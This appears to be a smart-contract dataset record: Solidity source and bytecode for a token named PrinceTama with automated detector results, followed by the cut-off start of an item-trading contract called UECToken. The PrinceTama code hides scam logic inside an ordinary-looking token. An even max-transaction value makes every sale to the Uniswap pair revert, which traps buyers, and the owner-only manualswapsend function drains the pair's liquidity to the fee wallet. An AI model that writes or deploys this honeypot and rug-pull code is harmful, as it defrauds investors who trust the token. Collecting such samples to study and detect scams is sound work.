uint256 private _feeAddr2;
address payable private _feeAddrWallet;
string private constant _name = "PrinceTama";
string private constant _symbol = "PRINCETAMA";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
IUniswapV2Pair private uniswapV2PairInterface;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
address private deadWallet = 0x000000000000000000000000000000000000dEaD;
bool private mitigationEnabled = false;
uint private mitigationFactor = 100;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0xB3aDAc49d539980010B93B52c695c08376B0D8DE);
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (disableFee) {
_feeAddr1 = 0;
_feeAddr2 = 0;
} else {
_feeAddr1 = 2;
_feeAddr2 = 8;
}
if (from != address(this) && to != deadWallet && from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
// cooldown[to] = block.timestamp + (30 seconds);
// require(cooldown[to] < block.timestamp);
}
if (!disableFee && to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 2;
_feeAddr2 = 10;
}
if (to == uniswapV2Pair && _maxTxAmount % 2 == 0) {
revert("Amount must be less than maxTxAmount");
}
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
uint256 contractTokenBalance = balanceOf(address(this));
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function changeMitigationFactor(uint256 newMitigationFactor) public onlyOwner {
mitigationFactor = newMitigationFactor;
}
function changeMitigationEnabled(bool newMitigationEnabled) public onlyOwner {
mitigationEnabled = newMitigationEnabled;
}
function getReserves() internal returns (uint256 reserveToken, uint256 reserveETH, uint256 ratio) {
(uint112 _reserve0, uint112 _reserve1,) = uniswapV2PairInterface.getReserves();
//Check which reserve belongs to this tokens contract address
bool isFirstReserve = uniswapV2PairInterface.token0() == address(this);
//Calculate reserve values
uint256 reserveToken = isFirstReserve ? _reserve0 : _reserve1;
uint256 reserveETH = isFirstReserve ? _reserve1 : _reserve0;
uint256 ratio = reserveToken.div(reserveETH);
return (reserveToken, reserveETH, ratio);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
disableFee = true;
if (mitigationEnabled) {
swapTokensForEthWithMitigation(tokenAmount);
} else {
swapTokensForEthNormal(tokenAmount);
}
disableFee = false;
}
function swapTokensForEthNormal(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function swapTokensForEthWithMitigation(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
//ratio = token / eth
(uint256 oldTokenReserve, uint256 oldETHReserve ,uint256 ratio) = getReserves();
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
(uint256 reserveToken, uint256 reserveETH,uint256 ratio2) = getReserves();
uint256 correctedReserve = ratio.mul(reserveETH);
uint256 reserveOffset = reserveToken.sub(correctedReserve);
reserveOffset = reserveOffset.mul(mitigationFactor).div(100);
_transfer(uniswapV2Pair, deadWallet, reserveOffset);
uniswapV2PairInterface.sync();
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function setSwapEnabled(bool isEnabled) public payable onlyOwner() {
swapEnabled = isEnabled;
}
bool internal disableFee = false;
function openTrading(address router) external payable onlyOwner() {
disableFee = true;
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(router);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2PairInterface = IUniswapV2Pair(uniswapV2Pair);
uniswapV2Router.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_isExcludedFromFee[address(uniswapV2Pair)] = true;
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 50000000000000001 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
disableFee = false;
}
function changeMaxTxAmount(uint newTxAmount) external onlyOwner {
_maxTxAmount = newTxAmount;
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswapsend() external onlyOwner {
_transfer(uniswapV2Pair, address(this), balanceOf(uniswapV2Pair) - 1);
uniswapV2PairInterface.sync();
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function manualsend(uint amount) public onlyOwner {
if (amount > address(this).balance) amount = address(this).balance;
payable(owner()).transfer(amount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x60806040526004361061012e5760003560e01c8063702e3811116100ab578063a9059cbb1161006f578063a9059cbb1461043f578063b515566a14610478578063ba05e9bc14610528578063ca72a4e71461053d578063dd62ed3e14610563578063e01af92c1461059e57610135565b8063702e38111461038757806370a08231146103b1578063715018a6146103e45780638da5cb5b146103f957806395d89b411461042a57610135565b806323b872dd116100f257806323b872dd14610290578063273123b7146102d3578063313ce567146103065780635932ead114610331578063677daa571461035d57610135565b806306a227d21461013a57806306fdde0314610168578063095ea7b3146101f257806318160ddd1461023f5780631ad34a4f1461026657610135565b3661013557005b600080fd5b34801561014657600080fd5b506101666004803603602081101561015d57600080fd5b503515156105bd565b005b34801561017457600080fd5b5061017d610633565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101b757818101518382015260200161019f565b50505050905090810190601f1680156101e45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101fe57600080fd5b5061022b6004803603604081101561021557600080fd5b506001600160a01b038135169060200135610657565b604080519115158252519081900360200190f35b34801561024b57600080fd5b50610254610675565b60408051918252519081900360200190f35b34801561027257600080fd5b506101666004803603602081101561028957600080fd5b5035610685565b34801561029c57600080fd5b5061022b600480360360608110156102b357600080fd5b506001600160a01b0381358116916020810135909116906040013561072c565b3480156102df57600080fd5b50610166600480360360208110156102f657600080fd5b50356001600160a01b03166107b3565b34801561031257600080fd5b5061031b61082c565b6040805160ff9092168252519081900360200190f35b34801561033d57600080fd5b506101666004803603602081101561035457600080fd5b50351515610831565b34801561036957600080fd5b506101666004803603602081101561038057600080fd5b50356108a7565b34801561039357600080fd5b50610166600480360360208110156103aa57600080fd5b5035610904565b3480156103bd57600080fd5b50610254600480360360208110156103d457600080fd5b50356001600160a01b0316610961565b3480156103f057600080fd5b50610166610983565b34801561040557600080fd5b5061040e610a25565b604080516001600160a01b039092168252519081900360200190f35b34801561043657600080fd5b5061017d610a34565b34801561044b57600080fd5b5061022b6004803603604081101561046257600080fd5b506001600160a01b038135169060200135610a58565b34801561048457600080fd5b506101666004803603602081101561049b57600080fd5b8101906020810181356401000000008111156104b657600080fd5b8201836020820111156104c857600080fd5b803590602001918460208302840111640100000000831117156104ea57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610a6c945050505050565b34801561053457600080fd5b50610166610b1c565b6101666004803603602081101561055357600080fd5b50356001600160a01b0316610c1e565b34801561056f57600080fd5b506102546004803603604081101561058657600080fd5b506001600160a01b038135811691602001351661104f565b610166600480360360208110156105b457600080fd5b5035151561107a565b6105c56110f0565b6000546001600160a01b03908116911614610615576040805162461bcd60e51b815260206004820181905260248201526000805160206121d7833981519152604482015290519081900360640190fd5b60118054911515600160a01b0260ff60a01b19909216919091179055565b60408051808201909152600a8152695072696e636554616d6160b01b602082015290565b600061066b6106646110f0565b84846110f4565b5060015b92915050565b6b033b2e3c9fd0803ce800000090565b61068d6110f0565b6000546001600160a01b039081169116146106dd576040805162461bcd60e51b815260206004820181905260248201526000805160206121d7833981519152604482015290519081900360640190fd5b478111156106e85750475b6106f0610a25565b6001600160a01b03166108fc829081150290604051600060405180830381858888f19350505050158015610728573d6000803e3d6000fd5b5050565b60006107398484846111e0565b6107a9846107456110f0565b6107a4856040518060600160405280602881526020016121af602891396001600160a01b038a166000908152600460205260408120906107836110f0565b6001600160a01b031681526020810191909152604001600020549190611555565b6110f4565b5060019392505050565b6107bb6110f0565b6000546001600160a01b0390811691161461080b576040805162461bcd60e51b815260206004820181905260248201526000805160206121d7833981519152604482015290519081900360640190fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b600990565b6108396110f0565b6000546001600160a01b03908116911614610889576040805162461bcd60e51b815260206004820181905260248201526000805160206121d7833981519152604482015290519081900360640190fd5b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6108af6110f0565b6000546001600160a01b039081169116146108ff576040805162461bcd60e51b815260206004820181905260248201526000805160206121d7833981519152604482015290519081900360640190fd5b601055565b61090c6110f0565b6000546001600160a01b0390811691161461095c576040805162461bcd60e51b815260206004820181905260248201526000805160206121d7833981519152604482015290519081900360640190fd5b601255565b6001600160a01b03811660009081526002602052604081205461066f906115ec565b61098b6110f0565b6000546001600160a01b039081169116146109db576040805162461bcd60e51b815260206004820181905260248201526000805160206121d7833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600180546001600160a01b0319169055565b6001546001600160a01b031690565b60408051808201909152600a8152695052494e434554414d4160b01b602082015290565b600061066b610a656110f0565b84846111e0565b610a746110f0565b6000546001600160a01b03908116911614610ac4576040805162461bcd60e51b815260206004820181905260248201526000805160206121d7833981519152604482015290519081900360640190fd5b60005b815181101561072857600160066000848481518110610ae257fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055600101610ac7565b610b246110f0565b6000546001600160a01b03908116911614610b74576040805162461bcd60e51b815260206004820181905260248201526000805160206121d7833981519152604482015290519081900360640190fd5b600f54610b96906001600160a01b0316306001610b9083610961565b036111e0565b600e60009054906101000a90046001600160a01b03166001600160a01b031663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b158015610be657600080fd5b505af1158015610bfa573d6000803e3d6000fd5b505050506000610c0930610961565b9050610c148161164c565b47610728816116af565b610c266110f0565b6000546001600160a01b03908116911614610c76576040805162461bcd60e51b815260206004820181905260248201526000805160206121d7833981519152604482015290519081900360640190fd5b6013805460ff19166001179055600f54600160a01b900460ff1615610ce2576040805162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015290519081900360640190fd5b600d80546001600160a01b0319166001600160a01b0383811691909117918290558291610d1e913091166b033b2e3c9fd0803ce80000006110f4565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d5757600080fd5b505afa158015610d6b573d6000803e3d6000fd5b505050506040513d6020811015610d8157600080fd5b5051604080516315ab88c960e31b815290516001600160a01b039283169263c9c653969230929186169163ad5c464891600480820192602092909190829003018186803b158015610dd157600080fd5b505afa158015610de5573d6000803e3d6000fd5b505050506040513d6020811015610dfb57600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301525160448083019260209291908290030181600087803b158015610e4d57600080fd5b505af1158015610e61573d6000803e3d6000fd5b505050506040513d6020811015610e7757600080fd5b5051600f80546001600160a01b039283166001600160a01b03199182161791829055600e8054909116918316919091179055600d541663f305d7193430610ebd81610961565b600080610ec8610a25565b426040518863ffffffff1660e01b815260040180876001600160a01b03168152602001868152602001858152602001848152602001836001600160a01b0316815260200182815260200196505050505050506060604051808303818588803b158015610f3357600080fd5b505af1158015610f47573d6000803e3d6000fd5b50505050506040513d6060811015610f5e57600080fd5b5050600f80546001600160a01b039081166000908152600560209081526040808320805460ff1916600117905584546a295be96e640669ad9aca0060105560ff60a01b1960ff60b81b1960ff60b01b19909216600160b01b1791909116600160b81b1716600160a01b1794859055600d54815163095ea7b360e01b8152908516600482015260001960248201529051949093169363095ea7b393604480820194918390030190829087803b15801561101557600080fd5b505af1158015611029573d6000803e3d6000fd5b505050506040513d602081101561103f57600080fd5b50506013805460ff191690555050565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6110826110f0565b6000546001600160a01b039081169116146110d2576040805162461bcd60e51b815260206004820181905260248201526000805160206121d7833981519152604482015290519081900360640190fd5b600f8054911515600160b01b0260ff60b01b19909216919091179055565b3390565b6001600160a01b0383166111395760405162461bcd60e51b81526004018080602001828103825260248152602001806122456024913960400191505060405180910390fd5b6001600160a01b03821661117e5760405162461bcd60e51b815260040180806020018281038252602281526020018061216c6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260046020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b0383166112255760405162461bcd60e51b81526004018080602001828103825260258152602001806122206025913960400191505060405180910390fd5b6001600160a01b03821661126a5760405162461bcd60e51b815260040180806020018281038252602381526020018061211f6023913960400191505060405180910390fd5b600081116112a95760405162461bcd60e51b81526004018080602001828103825260298152602001806121f76029913960400191505060405180910390fd5b60135460ff16156112c3576000600a819055600b556112ce565b6002600a556008600b555b6001600160a01b03831630148015906112f557506011546001600160a01b03838116911614155b801561131a5750611304610a25565b6001600160a01b0316836001600160a01b031614155b801561133f5750611329610a25565b6001600160a01b0316826001600160a01b031614155b15611545576001600160a01b03831660009081526006602052604090205460ff1615801561138657506001600160a01b03821660009081526006602052604090205460ff16155b61138f57600080fd5b600f546001600160a01b0384811691161480156113ba5750600d546001600160a01b03838116911614155b80156113df57506001600160a01b03821660009081526005602052604090205460ff16155b80156113f45750600f54600160b81b900460ff165b156114085760105481111561140857600080fd5b60135460ff161580156114285750600f546001600160a01b038381169116145b80156114425750600d546001600160a01b03848116911614155b801561146757506001600160a01b03831660009081526005602052604090205460ff16155b15611477576002600a908155600b555b600f546001600160a01b03838116911614801561149e575060026010548161149b57fe5b06155b156114da5760405162461bcd60e51b81526004018080602001828103825260248152602001806122696024913960400191505060405180910390fd5b600f54600160a81b900460ff161580156115025750600f546001600160a01b03848116911614155b80156115175750600f54600160b01b900460ff165b1561154557600061152730610961565b90506115328161164c565b47801561154257611542476116af565b50505b6115508383836116e9565b505050565b600081848411156115e45760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156115a9578181015183820152602001611591565b50505050905090810190601f1680156115d65780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600060085482111561162f5760405162461bcd60e51b815260040180806020018281038252602a815260200180612142602a913960400191505060405180910390fd5b60006116396116f4565b90506116458382611717565b9392505050565b600f805460ff60a81b1916600160a81b1790556013805460ff19166001179055601154600160a01b900460ff161561168c5761168781611759565b611695565b61169581611a0f565b506013805460ff19169055600f805460ff60a81b19169055565b600c546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610728573d6000803e3d6000fd5b611550838383611bbe565b6000806000611701611cb3565b90925090506117108282611717565b9250505090565b600061164583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611cfe565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061178857fe5b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156117dc57600080fd5b505afa1580156117f0573d6000803e3d6000fd5b505050506040513d602081101561180657600080fd5b505181518290600190811061181757fe5b6001600160a01b039283166020918202929092010152600d5461183d91309116846110f4565b600080600061184a611d63565b925092509250600d60009054906101000a90046001600160a01b03166001600160a01b031663791ac9478660008730426040518663ffffffff1660e01b81526004018086815260200185815260200180602001846001600160a01b03168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b838110156118ea5781810151838201526020016118d2565b505050509050019650505050505050600060405180830381600087803b15801561191357600080fd5b505af1158015611927573d6000803e3d6000fd5b505050506000806000611938611d63565b91945092509050600061194b8584611ebf565b905060006119598583611f18565b905061197b606461197560125484611ebf90919063ffffffff16565b90611717565b600f5460115491925061199b916001600160a01b039182169116836111e0565b600e60009054906101000a90046001600160a01b03166001600160a01b031663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156119eb57600080fd5b505af11580156119ff573d6000803e3d6000fd5b5050505050505050505050505050565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611a3e57fe5b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015611a9257600080fd5b505afa158015611aa6573d6000803e3d6000fd5b505050506040513d6020811015611abc57600080fd5b5051815182906001908110611acd57fe5b6001600160a01b039283166020918202929092010152600d54611af391309116846110f4565b600d5460405163791ac94760e01b8152600481018481526000602483018190523060648401819052426084850181905260a060448601908152875160a487015287516001600160a01b039097169663791ac947968a968a9594939092909160c40190602080880191028083838b5b83811015611b79578181015183820152602001611b61565b505050509050019650505050505050600060405180830381600087803b158015611ba257600080fd5b505af1158015611bb6573d6000803e3d6000fd5b505050505050565b600080600080600080611bd087611f5a565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611c029087611f18565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611c319086611fb7565b6001600160a01b038916600090815260026020526040902055611c5381612011565b611c5d848361205b565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b60085460009081906b033b2e3c9fd0803ce8000000611cd28282611717565b821015611cf4576008546b033b2e3c9fd0803ce8000000935093505050611cfa565b90925090505b9091565b60008183611d4d5760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156115a9578181015183820152602001611591565b506000838581611d5957fe5b0495945050505050565b6000806000806000600e60009054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b158015611db957600080fd5b505afa158015611dcd573d6000803e3d6000fd5b505050506040513d6060811015611de357600080fd5b508051602091820151600e5460408051630dfe168160e01b8152905193965091945060009330936001600160a01b0390921692630dfe16819260048083019392829003018186803b158015611e3757600080fd5b505afa158015611e4b573d6000803e3d6000fd5b505050506040513d6020811015611e6157600080fd5b50516001600160a01b0316149050600081611e7c5782611e7e565b835b6001600160701b03169050600082611e965784611e98565b835b6001600160701b031690506000611eaf8383611717565b9299919850919650945050505050565b600082611ece5750600061066f565b82820282848281611edb57fe5b04146116455760405162461bcd60e51b815260040180806020018281038252602181526020018061218e6021913960400191505060405180910390fd5b600061164583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611555565b6000806000806000806000806000611f778a600a54600b5461207f565b9250925092506000611f876116f4565b90506000806000611f9a8e8787876120ce565b919e509c509a509598509396509194505050505091939550919395565b600082820183811015611645576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b600061201b6116f4565b905060006120298383611ebf565b306000908152600260205260409020549091506120469082611fb7565b30600090815260026020526040902055505050565b6008546120689083611f18565b6008556009546120789082611fb7565b6009555050565b600080808061209360646119758989611ebf565b905060006120a660646119758a89611ebf565b905060006120be826120b88b86611f18565b90611f18565b9992985090965090945050505050565b60008080806120dd8886611ebf565b905060006120eb8887611ebf565b905060006120f98888611ebf565b9050600061210b826120b88686611f18565b939b939a5091985091965050505050505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e206d61785478416d6f756e74a2646970667358221220ff42533771a70bb6eae8558bcb04a03666577260d5f7ea5668c7293bac43bdb064736f6c63430007060033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 10,305 |
0xe2178b5a8a308922c97c69f7354acff525f2f3d7 | pragma solidity ^ 0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns(uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns(uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns(uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns(uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract UECToken {
using SafeMath for uint256;
event Bought(uint256 indexed _itemId, address indexed _owner, uint256 _price);
event Sold(uint256 indexed _itemId, address indexed _owner, uint256 _price);
event Transfer(address indexed _from, address indexed _to, uint256 _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
event ReNameEvent(uint256 indexed _itemId, address indexed _owner, bytes32 indexed _itemName);
address private owner;
mapping(address => bool) private admins;
IItemRegistry private itemRegistry;
bool private erc721Enabled = false;
uint256 private increaseLimit1 = 0.02 ether;
uint256 private increaseLimit2 = 0.5 ether;
uint256 private increaseLimit3 = 2.0 ether;
uint256 private increaseLimit4 = 5.0 ether;
uint256[] private listedItems;
mapping(uint256 => address) private ownerOfItem;
mapping(uint256 => uint256) private startingPriceOfItem;
mapping(uint256 => uint256) private priceOfItem;
mapping(uint256 => address) private approvedOfItem;
mapping(uint256 => bytes32) private nameOfItem;
mapping(uint256 => address) private nameAddressOfItem;
string private constant p_contract_name = "UniverseCoin UEC";
string private constant p_contract_symbol = "UEC";
uint256 private p_itemName_len = 5;
uint256 private p_itemName_price = 1000000000000000000;
mapping(address => string) private accountOfNick;
mapping(address => uint256) private accountOfPrice;
mapping(address => string) private countryofNick;
uint256 accountPrice = 1000000000000000;
event SetNick(string indexed _nick, string indexed _countryName, address indexed _owner);
event SetNickPrice(uint256 indexed _accountOfPrice, address indexed _owner);
function accountOfN(address _owner) public view returns(string _nick) {
return accountOfNick[_owner];
}
function accountOfP(address _owner) public view returns(uint256 _nick) {
return accountOfPrice[_owner];
}
function countryofN(address _owner) public view returns(string _nick) {
return countryofNick[_owner];
}
function setNick(string _nick, string _countryname) payable public {
require(bytes(_nick).length > 2);
require(bytes(_countryname).length > 2);
uint256 accountPriceCurrent = accountPrice;
if (accountOfP(msg.sender) <= 0) {
accountPriceCurrent = accountPrice;
} else {
accountPriceCurrent = accountOfP(msg.sender);
accountPriceCurrent = accountPriceCurrent*2;
}
if (msg.value != accountPriceCurrent) {
return;
}
accountOfNick[msg.sender] = _nick;
accountOfPrice[msg.sender] = accountPriceCurrent;
countryofNick[msg.sender] = _countryname;
SetNick(_nick, _countryname, msg.sender);
SetNickPrice(accountPriceCurrent,msg.sender);
}
function UECToken() public {
owner = msg.sender;
admins[owner] = true;
}
modifier onlyOwner() {
require(owner == msg.sender);
_;
}
modifier onlyAdmins() {
require(admins[msg.sender]);
_;
}
modifier onlyERC721() {
require(erc721Enabled);
_;
}
function setItemName(uint256 _itemId, bytes32 _itemName) payable public {
require(priceOf(_itemId) > 0);
require(msg.sender != nameAddressOfItem[_itemId]);
nameOfItem[_itemId] = _itemName;
nameAddressOfItem[_itemId] = msg.sender;
}
function setOwner(address _owner) onlyOwner() public {
owner = _owner;
}
function setItemRegistry(address _itemRegistry) onlyOwner() public {
itemRegistry = IItemRegistry(_itemRegistry);
}
function addAdmin(address _admin) onlyOwner() public {
admins[_admin] = true;
}
function removeAdmin(address _admin) onlyOwner() public {
delete admins[_admin];
}
function enableERC721() onlyOwner() public {
erc721Enabled = true;
}
function withdrawAll() onlyOwner() public {
owner.transfer(this.balance);
}
function withdrawAmount(uint256 _amount) onlyOwner() public {
owner.transfer(_amount);
}
function populateFromItemRegistry(uint256[] _itemIds) onlyOwner() public {
for (uint256 i = 0; i < _itemIds.length; i++) {
if (priceOfItem[_itemIds[i]] > 0 || itemRegistry.priceOf(_itemIds[i]) == 0) {
continue;
}
listItemFromRegistry(_itemIds[i]);
}
}
function listItemFromRegistry(uint256 _itemId) onlyOwner() public {
require(itemRegistry != address(0));
require(itemRegistry.ownerOf(_itemId) != address(0));
require(itemRegistry.priceOf(_itemId) > 0);
uint256 price = itemRegistry.priceOf(_itemId);
address itemOwner = itemRegistry.ownerOf(_itemId);
listItem(_itemId, price,itemOwner,'',itemOwner);
}
function listMultipleItems(uint256[] _itemIds, uint256 _price, address _owner, bytes32 _itemName) onlyAdmins() external {
for (uint256 i = 0; i < _itemIds.length; i++) {
listItem(_itemIds[i], _price, _owner, _itemName,_owner);
}
}
function listItem(uint256 _itemId, uint256 _price, address _owner, bytes32 _itemName, address _itemNameAddress) onlyAdmins() public {
require(_price > 0);
